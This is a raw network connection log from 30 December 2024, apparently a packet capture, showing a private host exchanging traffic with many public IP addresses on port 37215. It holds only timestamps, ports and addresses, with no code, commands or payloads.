Dec 30, 2024 11:58:09.269470930 CET	37215	14099	197.75.63.57	192.168.2.13
Dec 30, 2024 11:58:09.269474030 CET	37215	14099	197.139.192.47	192.168.2.13
Dec 30, 2024 11:58:09.269478083 CET	37215	14099	156.253.35.217	192.168.2.13
Dec 30, 2024 11:58:09.269480944 CET	37215	14099	197.116.35.82	192.168.2.13
Dec 30, 2024 11:58:09.269484043 CET	37215	14099	156.148.31.202	192.168.2.13
Dec 30, 2024 11:58:09.269484997 CET	45546	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.269488096 CET	37215	14099	41.123.21.87	192.168.2.13
Dec 30, 2024 11:58:09.269503117 CET	14099	37215	192.168.2.13	41.17.20.216
Dec 30, 2024 11:58:09.269505978 CET	14099	37215	192.168.2.13	41.128.9.85
Dec 30, 2024 11:58:09.269520998 CET	14099	37215	192.168.2.13	156.134.148.149
Dec 30, 2024 11:58:09.269525051 CET	14099	37215	192.168.2.13	197.116.230.3
Dec 30, 2024 11:58:09.269525051 CET	14099	37215	192.168.2.13	197.116.35.82
Dec 30, 2024 11:58:09.269525051 CET	14099	37215	192.168.2.13	197.139.192.47
Dec 30, 2024 11:58:09.269527912 CET	14099	37215	192.168.2.13	197.75.63.57
Dec 30, 2024 11:58:09.269527912 CET	14099	37215	192.168.2.13	156.148.31.202
Dec 30, 2024 11:58:09.269534111 CET	14099	37215	192.168.2.13	156.253.35.217
Dec 30, 2024 11:58:09.269536972 CET	14099	37215	192.168.2.13	41.123.21.87
Dec 30, 2024 11:58:09.269645929 CET	37215	14099	156.147.166.246	192.168.2.13
Dec 30, 2024 11:58:09.269691944 CET	37215	14099	41.196.4.119	192.168.2.13
Dec 30, 2024 11:58:09.269701958 CET	37215	14099	197.0.157.124	192.168.2.13
Dec 30, 2024 11:58:09.269710064 CET	37215	14099	41.185.15.172	192.168.2.13
Dec 30, 2024 11:58:09.269718885 CET	37215	14099	41.107.252.67	192.168.2.13
Dec 30, 2024 11:58:09.269726992 CET	37215	14099	41.184.40.23	192.168.2.13
Dec 30, 2024 11:58:09.269736052 CET	37215	14099	41.30.3.183	192.168.2.13
Dec 30, 2024 11:58:09.269743919 CET	37215	14099	156.67.74.240	192.168.2.13
Dec 30, 2024 11:58:09.269752979 CET	37215	14099	197.98.144.129	192.168.2.13
Dec 30, 2024 11:58:09.269757032 CET	14099	37215	192.168.2.13	41.184.40.23
Dec 30, 2024 11:58:09.269762039 CET	37215	14099	41.160.144.120	192.168.2.13
Dec 30, 2024 11:58:09.269772053 CET	37215	14099	41.97.43.159	192.168.2.13
Dec 30, 2024 11:58:09.269773006 CET	14099	37215	192.168.2.13	41.107.252.67
Dec 30, 2024 11:58:09.269777060 CET	14099	37215	192.168.2.13	156.147.166.246
Dec 30, 2024 11:58:09.269777060 CET	14099	37215	192.168.2.13	41.196.4.119
Dec 30, 2024 11:58:09.269777060 CET	14099	37215	192.168.2.13	197.0.157.124
Dec 30, 2024 11:58:09.269777060 CET	14099	37215	192.168.2.13	41.185.15.172
Dec 30, 2024 11:58:09.269778967 CET	14099	37215	192.168.2.13	41.30.3.183
Dec 30, 2024 11:58:09.269781113 CET	37215	14099	197.244.195.181	192.168.2.13
Dec 30, 2024 11:58:09.269789934 CET	37215	14099	156.131.179.225	192.168.2.13
Dec 30, 2024 11:58:09.269798994 CET	37215	14099	197.140.88.156	192.168.2.13
Dec 30, 2024 11:58:09.269804955 CET	14099	37215	192.168.2.13	156.67.74.240
Dec 30, 2024 11:58:09.269808054 CET	37215	14099	197.125.94.52	192.168.2.13
Dec 30, 2024 11:58:09.269809961 CET	14099	37215	192.168.2.13	41.160.144.120
Dec 30, 2024 11:58:09.269814968 CET	14099	37215	192.168.2.13	197.98.144.129
Dec 30, 2024 11:58:09.269814968 CET	14099	37215	192.168.2.13	41.97.43.159
Dec 30, 2024 11:58:09.269815922 CET	14099	37215	192.168.2.13	197.244.195.181
Dec 30, 2024 11:58:09.269818068 CET	37215	14099	156.53.8.223	192.168.2.13
Dec 30, 2024 11:58:09.269825935 CET	37215	14099	156.72.253.165	192.168.2.13
Dec 30, 2024 11:58:09.269830942 CET	37215	14099	197.149.24.107	192.168.2.13
Dec 30, 2024 11:58:09.269834042 CET	37215	14099	197.102.89.62	192.168.2.13
Dec 30, 2024 11:58:09.269836903 CET	14099	37215	192.168.2.13	197.140.88.156
Dec 30, 2024 11:58:09.269839048 CET	14099	37215	192.168.2.13	156.131.179.225
Dec 30, 2024 11:58:09.269846916 CET	14099	37215	192.168.2.13	197.125.94.52
Dec 30, 2024 11:58:09.269850016 CET	37215	14099	197.170.60.63	192.168.2.13
Dec 30, 2024 11:58:09.269860983 CET	37215	14099	197.97.168.206	192.168.2.13
Dec 30, 2024 11:58:09.269862890 CET	14099	37215	192.168.2.13	197.149.24.107
Dec 30, 2024 11:58:09.269862890 CET	14099	37215	192.168.2.13	156.53.8.223
Dec 30, 2024 11:58:09.269862890 CET	14099	37215	192.168.2.13	156.72.253.165
Dec 30, 2024 11:58:09.269870043 CET	37215	14099	197.9.17.66	192.168.2.13
Dec 30, 2024 11:58:09.269870996 CET	14099	37215	192.168.2.13	197.102.89.62
Dec 30, 2024 11:58:09.269879103 CET	37215	14099	197.74.172.129	192.168.2.13
Dec 30, 2024 11:58:09.269886971 CET	37215	14099	197.40.32.132	192.168.2.13
Dec 30, 2024 11:58:09.269891024 CET	14099	37215	192.168.2.13	197.170.60.63
Dec 30, 2024 11:58:09.269896030 CET	14099	37215	192.168.2.13	197.97.168.206
Dec 30, 2024 11:58:09.269896030 CET	37215	14099	156.42.250.181	192.168.2.13
Dec 30, 2024 11:58:09.269901037 CET	14099	37215	192.168.2.13	197.74.172.129
Dec 30, 2024 11:58:09.269908905 CET	37215	14099	41.58.87.148	192.168.2.13
Dec 30, 2024 11:58:09.269918919 CET	14099	37215	192.168.2.13	197.9.17.66
Dec 30, 2024 11:58:09.269921064 CET	37215	14099	41.105.235.222	192.168.2.13
Dec 30, 2024 11:58:09.269920111 CET	14099	37215	192.168.2.13	197.40.32.132
Dec 30, 2024 11:58:09.269929886 CET	37215	14099	197.49.51.14	192.168.2.13
Dec 30, 2024 11:58:09.269932985 CET	14099	37215	192.168.2.13	156.42.250.181
Dec 30, 2024 11:58:09.269953966 CET	14099	37215	192.168.2.13	41.58.87.148
Dec 30, 2024 11:58:09.269961119 CET	14099	37215	192.168.2.13	197.49.51.14
Dec 30, 2024 11:58:09.269963980 CET	14099	37215	192.168.2.13	41.105.235.222
Dec 30, 2024 11:58:09.270149946 CET	37215	14099	41.234.116.12	192.168.2.13
Dec 30, 2024 11:58:09.270163059 CET	37215	14099	156.205.137.28	192.168.2.13
Dec 30, 2024 11:58:09.270172119 CET	37215	14099	197.25.63.223	192.168.2.13
Dec 30, 2024 11:58:09.270180941 CET	37215	14099	156.0.211.46	192.168.2.13
Dec 30, 2024 11:58:09.270186901 CET	14099	37215	192.168.2.13	41.234.116.12
Dec 30, 2024 11:58:09.270189047 CET	37215	14099	156.88.92.64	192.168.2.13
Dec 30, 2024 11:58:09.270195961 CET	14099	37215	192.168.2.13	156.205.137.28
Dec 30, 2024 11:58:09.270200014 CET	37215	14099	41.252.44.91	192.168.2.13
Dec 30, 2024 11:58:09.270204067 CET	14099	37215	192.168.2.13	197.25.63.223
Dec 30, 2024 11:58:09.270207882 CET	37215	14099	41.188.245.174	192.168.2.13
Dec 30, 2024 11:58:09.270215988 CET	37215	14099	197.134.226.65	192.168.2.13
Dec 30, 2024 11:58:09.270224094 CET	14099	37215	192.168.2.13	156.0.211.46
Dec 30, 2024 11:58:09.270225048 CET	37215	14099	41.62.48.160	192.168.2.13
Dec 30, 2024 11:58:09.270224094 CET	14099	37215	192.168.2.13	156.88.92.64
Dec 30, 2024 11:58:09.270236015 CET	14099	37215	192.168.2.13	41.188.245.174
Dec 30, 2024 11:58:09.270246983 CET	37215	14099	197.243.17.112	192.168.2.13
Dec 30, 2024 11:58:09.270247936 CET	14099	37215	192.168.2.13	41.252.44.91
Dec 30, 2024 11:58:09.270250082 CET	14099	37215	192.168.2.13	197.134.226.65
Dec 30, 2024 11:58:09.270256996 CET	37215	14099	156.47.230.29	192.168.2.13
Dec 30, 2024 11:58:09.270265102 CET	37215	14099	156.173.34.127	192.168.2.13
Dec 30, 2024 11:58:09.270272970 CET	37215	14099	156.152.5.139	192.168.2.13
Dec 30, 2024 11:58:09.270281076 CET	37215	14099	197.220.227.100	192.168.2.13
Dec 30, 2024 11:58:09.270282984 CET	14099	37215	192.168.2.13	197.243.17.112
Dec 30, 2024 11:58:09.270284891 CET	14099	37215	192.168.2.13	41.62.48.160
Dec 30, 2024 11:58:09.270288944 CET	37215	14099	156.1.69.124	192.168.2.13
Dec 30, 2024 11:58:09.270292044 CET	14099	37215	192.168.2.13	156.47.230.29
Dec 30, 2024 11:58:09.270298004 CET	37215	14099	156.89.3.28	192.168.2.13
Dec 30, 2024 11:58:09.270307064 CET	37215	14099	197.222.128.73	192.168.2.13
Dec 30, 2024 11:58:09.270315886 CET	37215	14099	156.16.136.200	192.168.2.13
Dec 30, 2024 11:58:09.270318985 CET	14099	37215	192.168.2.13	197.220.227.100
Dec 30, 2024 11:58:09.270318985 CET	14099	37215	192.168.2.13	156.173.34.127
Dec 30, 2024 11:58:09.270323992 CET	37215	14099	197.204.196.98	192.168.2.13
Dec 30, 2024 11:58:09.270324945 CET	14099	37215	192.168.2.13	156.1.69.124
Dec 30, 2024 11:58:09.270334959 CET	37215	14099	41.129.34.41	192.168.2.13
Dec 30, 2024 11:58:09.270343065 CET	37215	14099	197.111.47.119	192.168.2.13
Dec 30, 2024 11:58:09.270348072 CET	37215	14099	41.188.18.84	192.168.2.13
Dec 30, 2024 11:58:09.270349979 CET	14099	37215	192.168.2.13	197.222.128.73
Dec 30, 2024 11:58:09.270353079 CET	37215	14099	156.11.136.20	192.168.2.13
Dec 30, 2024 11:58:09.270355940 CET	14099	37215	192.168.2.13	156.89.3.28
Dec 30, 2024 11:58:09.270356894 CET	37215	14099	41.82.16.209	192.168.2.13
Dec 30, 2024 11:58:09.270358086 CET	14099	37215	192.168.2.13	156.152.5.139
Dec 30, 2024 11:58:09.270365000 CET	37215	14099	156.85.211.37	192.168.2.13
Dec 30, 2024 11:58:09.270370960 CET	14099	37215	192.168.2.13	156.16.136.200
Dec 30, 2024 11:58:09.270371914 CET	14099	37215	192.168.2.13	41.129.34.41
Dec 30, 2024 11:58:09.270375967 CET	14099	37215	192.168.2.13	197.204.196.98
Dec 30, 2024 11:58:09.270376921 CET	37215	14099	156.188.137.252	192.168.2.13
Dec 30, 2024 11:58:09.270380020 CET	14099	37215	192.168.2.13	41.188.18.84
Dec 30, 2024 11:58:09.270380020 CET	14099	37215	192.168.2.13	197.111.47.119
Dec 30, 2024 11:58:09.270381927 CET	14099	37215	192.168.2.13	156.11.136.20
Dec 30, 2024 11:58:09.270389080 CET	37215	14099	197.12.130.146	192.168.2.13
Dec 30, 2024 11:58:09.270395041 CET	14099	37215	192.168.2.13	41.82.16.209
Dec 30, 2024 11:58:09.270396948 CET	37215	14099	41.78.155.227	192.168.2.13
Dec 30, 2024 11:58:09.270411015 CET	14099	37215	192.168.2.13	156.85.211.37
Dec 30, 2024 11:58:09.270411015 CET	34260	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.270420074 CET	14099	37215	192.168.2.13	156.188.137.252
Dec 30, 2024 11:58:09.270443916 CET	14099	37215	192.168.2.13	197.12.130.146
Dec 30, 2024 11:58:09.270456076 CET	14099	37215	192.168.2.13	41.78.155.227
Dec 30, 2024 11:58:09.270553112 CET	37215	14099	197.226.158.162	192.168.2.13
Dec 30, 2024 11:58:09.270561934 CET	37215	14099	41.241.230.134	192.168.2.13
Dec 30, 2024 11:58:09.270574093 CET	37215	14099	156.178.62.222	192.168.2.13
Dec 30, 2024 11:58:09.270586967 CET	37215	14099	41.168.68.189	192.168.2.13
Dec 30, 2024 11:58:09.270596027 CET	37215	14099	41.57.58.252	192.168.2.13
Dec 30, 2024 11:58:09.270602942 CET	14099	37215	192.168.2.13	41.241.230.134
Dec 30, 2024 11:58:09.270603895 CET	37215	14099	156.80.27.144	192.168.2.13
Dec 30, 2024 11:58:09.270611048 CET	14099	37215	192.168.2.13	197.226.158.162
Dec 30, 2024 11:58:09.270612001 CET	37215	14099	156.28.207.55	192.168.2.13
Dec 30, 2024 11:58:09.270620108 CET	37215	14099	197.57.115.71	192.168.2.13
Dec 30, 2024 11:58:09.270623922 CET	14099	37215	192.168.2.13	156.178.62.222
Dec 30, 2024 11:58:09.270625114 CET	14099	37215	192.168.2.13	41.168.68.189
Dec 30, 2024 11:58:09.270631075 CET	37215	14099	197.177.173.195	192.168.2.13
Dec 30, 2024 11:58:09.270637035 CET	14099	37215	192.168.2.13	156.80.27.144
Dec 30, 2024 11:58:09.270644903 CET	37215	14099	197.8.173.79	192.168.2.13
Dec 30, 2024 11:58:09.270649910 CET	14099	37215	192.168.2.13	41.57.58.252
Dec 30, 2024 11:58:09.270653963 CET	37215	14099	41.134.252.153	192.168.2.13
Dec 30, 2024 11:58:09.270653009 CET	14099	37215	192.168.2.13	156.28.207.55
Dec 30, 2024 11:58:09.270663023 CET	37215	14099	41.195.136.102	192.168.2.13
Dec 30, 2024 11:58:09.270670891 CET	37215	14099	41.197.85.12	192.168.2.13
Dec 30, 2024 11:58:09.270678997 CET	37215	14099	197.100.130.164	192.168.2.13
Dec 30, 2024 11:58:09.270684004 CET	14099	37215	192.168.2.13	197.177.173.195
Dec 30, 2024 11:58:09.270687103 CET	37215	14099	197.131.63.153	192.168.2.13
Dec 30, 2024 11:58:09.270689964 CET	14099	37215	192.168.2.13	197.57.115.71
Dec 30, 2024 11:58:09.270690918 CET	37215	14099	41.176.6.77	192.168.2.13
Dec 30, 2024 11:58:09.270698071 CET	14099	37215	192.168.2.13	41.195.136.102
Dec 30, 2024 11:58:09.270699024 CET	14099	37215	192.168.2.13	197.8.173.79
Dec 30, 2024 11:58:09.270700932 CET	37215	14099	156.167.2.120	192.168.2.13
Dec 30, 2024 11:58:09.270709038 CET	37215	14099	197.28.35.207	192.168.2.13
Dec 30, 2024 11:58:09.270709991 CET	14099	37215	192.168.2.13	41.197.85.12
Dec 30, 2024 11:58:09.270709991 CET	14099	37215	192.168.2.13	41.134.252.153
Dec 30, 2024 11:58:09.270716906 CET	14099	37215	192.168.2.13	197.100.130.164
Dec 30, 2024 11:58:09.270718098 CET	37215	14099	197.191.149.249	192.168.2.13
Dec 30, 2024 11:58:09.270726919 CET	37215	14099	156.37.138.57	192.168.2.13
Dec 30, 2024 11:58:09.270735025 CET	37215	14099	156.239.141.52	192.168.2.13
Dec 30, 2024 11:58:09.270737886 CET	14099	37215	192.168.2.13	197.131.63.153
Dec 30, 2024 11:58:09.270744085 CET	14099	37215	192.168.2.13	41.176.6.77
Dec 30, 2024 11:58:09.270750999 CET	37215	14099	41.0.38.140	192.168.2.13
Dec 30, 2024 11:58:09.270756006 CET	14099	37215	192.168.2.13	156.167.2.120
Dec 30, 2024 11:58:09.270760059 CET	37215	14099	197.250.199.231	192.168.2.13
Dec 30, 2024 11:58:09.270767927 CET	37215	14099	156.236.230.163	192.168.2.13
Dec 30, 2024 11:58:09.270771980 CET	14099	37215	192.168.2.13	197.191.149.249
Dec 30, 2024 11:58:09.270772934 CET	14099	37215	192.168.2.13	197.28.35.207
Dec 30, 2024 11:58:09.270773888 CET	14099	37215	192.168.2.13	156.239.141.52
Dec 30, 2024 11:58:09.270776987 CET	37215	14099	156.202.141.17	192.168.2.13
Dec 30, 2024 11:58:09.270782948 CET	14099	37215	192.168.2.13	156.37.138.57
Dec 30, 2024 11:58:09.270787001 CET	37215	14099	41.137.172.244	192.168.2.13
Dec 30, 2024 11:58:09.270793915 CET	14099	37215	192.168.2.13	41.0.38.140
Dec 30, 2024 11:58:09.270793915 CET	14099	37215	192.168.2.13	197.250.199.231
Dec 30, 2024 11:58:09.270797014 CET	37215	14099	197.95.145.123	192.168.2.13
Dec 30, 2024 11:58:09.270798922 CET	14099	37215	192.168.2.13	156.236.230.163
Dec 30, 2024 11:58:09.270800114 CET	37215	14099	197.96.54.150	192.168.2.13
Dec 30, 2024 11:58:09.270809889 CET	37215	41748	156.66.117.24	192.168.2.13
Dec 30, 2024 11:58:09.270818949 CET	37215	60198	197.213.129.24	192.168.2.13
Dec 30, 2024 11:58:09.270829916 CET	14099	37215	192.168.2.13	41.137.172.244
Dec 30, 2024 11:58:09.270844936 CET	14099	37215	192.168.2.13	197.95.145.123
Dec 30, 2024 11:58:09.270844936 CET	14099	37215	192.168.2.13	197.96.54.150
Dec 30, 2024 11:58:09.270852089 CET	41748	37215	192.168.2.13	156.66.117.24
Dec 30, 2024 11:58:09.270852089 CET	14099	37215	192.168.2.13	156.202.141.17
Dec 30, 2024 11:58:09.270868063 CET	60198	37215	192.168.2.13	197.213.129.24
Dec 30, 2024 11:58:09.271264076 CET	51388	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.271265030 CET	37215	48962	156.154.160.13	192.168.2.13
Dec 30, 2024 11:58:09.271318913 CET	48962	37215	192.168.2.13	156.154.160.13
Dec 30, 2024 11:58:09.272214890 CET	44576	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.272500038 CET	37215	39968	41.116.48.51	192.168.2.13
Dec 30, 2024 11:58:09.272546053 CET	39968	37215	192.168.2.13	41.116.48.51
Dec 30, 2024 11:58:09.273190022 CET	42242	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.273293018 CET	37215	51962	197.145.123.247	192.168.2.13
Dec 30, 2024 11:58:09.273356915 CET	51962	37215	192.168.2.13	197.145.123.247
Dec 30, 2024 11:58:09.274159908 CET	34922	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.274748087 CET	37215	45546	197.10.122.150	192.168.2.13
Dec 30, 2024 11:58:09.274801016 CET	45546	37215	192.168.2.13	197.10.122.150
Dec 30, 2024 11:58:09.274883986 CET	49692	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.275578022 CET	37215	34260	156.19.251.73	192.168.2.13
Dec 30, 2024 11:58:09.275654078 CET	34260	37215	192.168.2.13	156.19.251.73
Dec 30, 2024 11:58:09.275970936 CET	33168	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.276971102 CET	42792	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.277299881 CET	37215	51388	41.100.232.209	192.168.2.13
Dec 30, 2024 11:58:09.277308941 CET	37215	44576	156.208.82.65	192.168.2.13
Dec 30, 2024 11:58:09.277343035 CET	51388	37215	192.168.2.13	41.100.232.209
Dec 30, 2024 11:58:09.277364016 CET	44576	37215	192.168.2.13	156.208.82.65
Dec 30, 2024 11:58:09.277738094 CET	37976	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:09.277906895 CET	37215	42242	156.218.41.66	192.168.2.13
Dec 30, 2024 11:58:09.277973890 CET	42242	37215	192.168.2.13	156.218.41.66
Dec 30, 2024 11:58:09.278652906 CET	42864	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:09.278923988 CET	37215	34922	156.115.166.195	192.168.2.13
Dec 30, 2024 11:58:09.278963089 CET	34922	37215	192.168.2.13	156.115.166.195
Dec 30, 2024 11:58:09.279517889 CET	50402	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:09.279634953 CET	37215	49692	41.74.205.213	192.168.2.13
Dec 30, 2024 11:58:09.279675961 CET	49692	37215	192.168.2.13	41.74.205.213
Dec 30, 2024 11:58:09.280483007 CET	43280	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:09.280828953 CET	37215	33168	156.198.240.187	192.168.2.13
Dec 30, 2024 11:58:09.280867100 CET	33168	37215	192.168.2.13	156.198.240.187
Dec 30, 2024 11:58:09.281465054 CET	59844	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:09.281763077 CET	37215	42792	156.213.8.113	192.168.2.13
Dec 30, 2024 11:58:09.281812906 CET	42792	37215	192.168.2.13	156.213.8.113
Dec 30, 2024 11:58:09.282286882 CET	46578	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:09.282517910 CET	37215	37976	197.127.113.212	192.168.2.13
Dec 30, 2024 11:58:09.282593012 CET	37976	37215	192.168.2.13	197.127.113.212
Dec 30, 2024 11:58:09.283104897 CET	44674	37215	192.168.2.13	197.248.84.7
Dec 30, 2024 11:58:09.283360958 CET	37215	42864	41.141.245.214	192.168.2.13
Dec 30, 2024 11:58:09.283409119 CET	42864	37215	192.168.2.13	41.141.245.214
Dec 30, 2024 11:58:09.283910036 CET	56480	37215	192.168.2.13	156.91.93.189
Dec 30, 2024 11:58:09.284271002 CET	37215	50402	156.4.47.247	192.168.2.13
Dec 30, 2024 11:58:09.284307957 CET	50402	37215	192.168.2.13	156.4.47.247
Dec 30, 2024 11:58:09.284859896 CET	54414	37215	192.168.2.13	41.161.13.63
Dec 30, 2024 11:58:09.285235882 CET	37215	43280	156.222.193.117	192.168.2.13
Dec 30, 2024 11:58:09.285273075 CET	43280	37215	192.168.2.13	156.222.193.117
Dec 30, 2024 11:58:09.285697937 CET	53742	37215	192.168.2.13	197.45.75.71
Dec 30, 2024 11:58:09.286212921 CET	37215	59844	156.250.122.117	192.168.2.13
Dec 30, 2024 11:58:09.286262989 CET	59844	37215	192.168.2.13	156.250.122.117
Dec 30, 2024 11:58:09.286390066 CET	52204	37215	192.168.2.13	41.230.93.192
Dec 30, 2024 11:58:09.287008047 CET	37215	46578	156.24.249.131	192.168.2.13
Dec 30, 2024 11:58:09.287050009 CET	46578	37215	192.168.2.13	156.24.249.131
Dec 30, 2024 11:58:09.287233114 CET	44866	37215	192.168.2.13	41.175.28.102
Dec 30, 2024 11:58:09.287854910 CET	37215	44674	197.248.84.7	192.168.2.13
Dec 30, 2024 11:58:09.287897110 CET	44674	37215	192.168.2.13	197.248.84.7
Dec 30, 2024 11:58:09.288007975 CET	45996	37215	192.168.2.13	41.6.142.82
Dec 30, 2024 11:58:09.288681030 CET	37215	56480	156.91.93.189	192.168.2.13
Dec 30, 2024 11:58:09.288758039 CET	56480	37215	192.168.2.13	156.91.93.189
Dec 30, 2024 11:58:09.288927078 CET	40476	37215	192.168.2.13	156.162.4.202
Dec 30, 2024 11:58:09.289674997 CET	37215	54414	41.161.13.63	192.168.2.13
Dec 30, 2024 11:58:09.289719105 CET	54414	37215	192.168.2.13	41.161.13.63
Dec 30, 2024 11:58:09.289763927 CET	40894	37215	192.168.2.13	156.126.87.54
Dec 30, 2024 11:58:09.290443897 CET	37215	53742	197.45.75.71	192.168.2.13
Dec 30, 2024 11:58:09.290505886 CET	53742	37215	192.168.2.13	197.45.75.71
Dec 30, 2024 11:58:09.290600061 CET	53122	37215	192.168.2.13	156.71.108.54
Dec 30, 2024 11:58:09.291145086 CET	37215	52204	41.230.93.192	192.168.2.13
Dec 30, 2024 11:58:09.291179895 CET	52204	37215	192.168.2.13	41.230.93.192
Dec 30, 2024 11:58:09.291426897 CET	50942	37215	192.168.2.13	197.93.214.96
Dec 30, 2024 11:58:09.291989088 CET	37215	44866	41.175.28.102	192.168.2.13
Dec 30, 2024 11:58:09.292037964 CET	44866	37215	192.168.2.13	41.175.28.102
Dec 30, 2024 11:58:09.292256117 CET	44242	37215	192.168.2.13	41.229.176.171
Dec 30, 2024 11:58:09.292757988 CET	37215	45996	41.6.142.82	192.168.2.13
Dec 30, 2024 11:58:09.292800903 CET	45996	37215	192.168.2.13	41.6.142.82
Dec 30, 2024 11:58:09.293019056 CET	44682	37215	192.168.2.13	41.190.138.231
Dec 30, 2024 11:58:09.293694973 CET	37215	40476	156.162.4.202	192.168.2.13
Dec 30, 2024 11:58:09.293699980 CET	60468	37215	192.168.2.13	197.198.45.54
Dec 30, 2024 11:58:09.293735027 CET	40476	37215	192.168.2.13	156.162.4.202
Dec 30, 2024 11:58:09.294514894 CET	50356	37215	192.168.2.13	197.43.82.176
Dec 30, 2024 11:58:09.294521093 CET	37215	40894	156.126.87.54	192.168.2.13
Dec 30, 2024 11:58:09.294559002 CET	40894	37215	192.168.2.13	156.126.87.54
Dec 30, 2024 11:58:09.295331955 CET	60192	37215	192.168.2.13	156.220.33.161
Dec 30, 2024 11:58:09.295337915 CET	37215	53122	156.71.108.54	192.168.2.13
Dec 30, 2024 11:58:09.295406103 CET	53122	37215	192.168.2.13	156.71.108.54
Dec 30, 2024 11:58:09.296070099 CET	49096	37215	192.168.2.13	41.225.75.76
Dec 30, 2024 11:58:09.296190023 CET	37215	50942	197.93.214.96	192.168.2.13
Dec 30, 2024 11:58:09.296287060 CET	50942	37215	192.168.2.13	197.93.214.96
Dec 30, 2024 11:58:09.296933889 CET	46752	37215	192.168.2.13	41.190.172.111
Dec 30, 2024 11:58:09.297040939 CET	37215	44242	41.229.176.171	192.168.2.13
Dec 30, 2024 11:58:09.297091007 CET	44242	37215	192.168.2.13	41.229.176.171
Dec 30, 2024 11:58:09.297749043 CET	39888	37215	192.168.2.13	156.107.172.134
Dec 30, 2024 11:58:09.297753096 CET	37215	44682	41.190.138.231	192.168.2.13
Dec 30, 2024 11:58:09.297785997 CET	44682	37215	192.168.2.13	41.190.138.231
Dec 30, 2024 11:58:09.298460960 CET	37215	60468	197.198.45.54	192.168.2.13
Dec 30, 2024 11:58:09.298506975 CET	60468	37215	192.168.2.13	197.198.45.54
Dec 30, 2024 11:58:09.298554897 CET	59084	37215	192.168.2.13	197.52.115.121
Dec 30, 2024 11:58:09.299340963 CET	37215	50356	197.43.82.176	192.168.2.13
Dec 30, 2024 11:58:09.299380064 CET	50356	37215	192.168.2.13	197.43.82.176
Dec 30, 2024 11:58:09.299438000 CET	37536	37215	192.168.2.13	156.27.27.250
Dec 30, 2024 11:58:09.300070047 CET	37215	60192	156.220.33.161	192.168.2.13
Dec 30, 2024 11:58:09.300112009 CET	60192	37215	192.168.2.13	156.220.33.161
Dec 30, 2024 11:58:09.300127029 CET	46184	37215	192.168.2.13	41.49.86.106
Dec 30, 2024 11:58:09.300838947 CET	37215	49096	41.225.75.76	192.168.2.13
Dec 30, 2024 11:58:09.300874949 CET	49096	37215	192.168.2.13	41.225.75.76
Dec 30, 2024 11:58:09.301039934 CET	42670	37215	192.168.2.13	41.239.215.130
Dec 30, 2024 11:58:09.301739931 CET	37215	46752	41.190.172.111	192.168.2.13
Dec 30, 2024 11:58:09.301805019 CET	46752	37215	192.168.2.13	41.190.172.111
Dec 30, 2024 11:58:09.301934958 CET	44414	37215	192.168.2.13	156.174.56.203
Dec 30, 2024 11:58:09.302484035 CET	37215	39888	156.107.172.134	192.168.2.13
Dec 30, 2024 11:58:09.302544117 CET	39888	37215	192.168.2.13	156.107.172.134
Dec 30, 2024 11:58:09.302613974 CET	43902	37215	192.168.2.13	197.223.93.160
Dec 30, 2024 11:58:09.303324938 CET	37215	59084	197.52.115.121	192.168.2.13
Dec 30, 2024 11:58:09.303352118 CET	59610	37215	192.168.2.13	41.6.233.23
Dec 30, 2024 11:58:09.303364992 CET	59084	37215	192.168.2.13	197.52.115.121
Dec 30, 2024 11:58:09.304095030 CET	49334	37215	192.168.2.13	197.47.205.27
Dec 30, 2024 11:58:09.304198027 CET	37215	37536	156.27.27.250	192.168.2.13
Dec 30, 2024 11:58:09.304239988 CET	37536	37215	192.168.2.13	156.27.27.250
Dec 30, 2024 11:58:09.304869890 CET	54212	37215	192.168.2.13	41.41.131.176
Dec 30, 2024 11:58:09.304896116 CET	37215	46184	41.49.86.106	192.168.2.13
Dec 30, 2024 11:58:09.305042982 CET	46184	37215	192.168.2.13	41.49.86.106
Dec 30, 2024 11:58:09.305721045 CET	46980	37215	192.168.2.13	197.177.118.14
Dec 30, 2024 11:58:09.305838108 CET	37215	42670	41.239.215.130	192.168.2.13
Dec 30, 2024 11:58:09.305879116 CET	42670	37215	192.168.2.13	41.239.215.130
Dec 30, 2024 11:58:09.306608915 CET	37328	37215	192.168.2.13	41.90.16.2
Dec 30, 2024 11:58:09.306721926 CET	37215	44414	156.174.56.203	192.168.2.13
Dec 30, 2024 11:58:09.306768894 CET	44414	37215	192.168.2.13	156.174.56.203
Dec 30, 2024 11:58:09.307342052 CET	37215	43902	197.223.93.160	192.168.2.13
Dec 30, 2024 11:58:09.307395935 CET	43902	37215	192.168.2.13	197.223.93.160
Dec 30, 2024 11:58:09.307559013 CET	49322	37215	192.168.2.13	156.35.239.23
Dec 30, 2024 11:58:09.308152914 CET	37215	59610	41.6.233.23	192.168.2.13
Dec 30, 2024 11:58:09.308202982 CET	59610	37215	192.168.2.13	41.6.233.23
Dec 30, 2024 11:58:09.308504105 CET	50944	37215	192.168.2.13	41.45.201.183
Dec 30, 2024 11:58:09.308871031 CET	37215	49334	197.47.205.27	192.168.2.13
Dec 30, 2024 11:58:09.308921099 CET	49334	37215	192.168.2.13	197.47.205.27
Dec 30, 2024 11:58:09.309334993 CET	45372	37215	192.168.2.13	156.142.49.103
Dec 30, 2024 11:58:09.309708118 CET	37215	54212	41.41.131.176	192.168.2.13
Dec 30, 2024 11:58:09.309751987 CET	54212	37215	192.168.2.13	41.41.131.176
Dec 30, 2024 11:58:09.310178995 CET	38752	37215	192.168.2.13	156.53.52.72
Dec 30, 2024 11:58:09.310486078 CET	37215	46980	197.177.118.14	192.168.2.13
Dec 30, 2024 11:58:09.310533047 CET	46980	37215	192.168.2.13	197.177.118.14
Dec 30, 2024 11:58:09.310957909 CET	52454	37215	192.168.2.13	197.243.215.210
Dec 30, 2024 11:58:09.311366081 CET	37215	37328	41.90.16.2	192.168.2.13
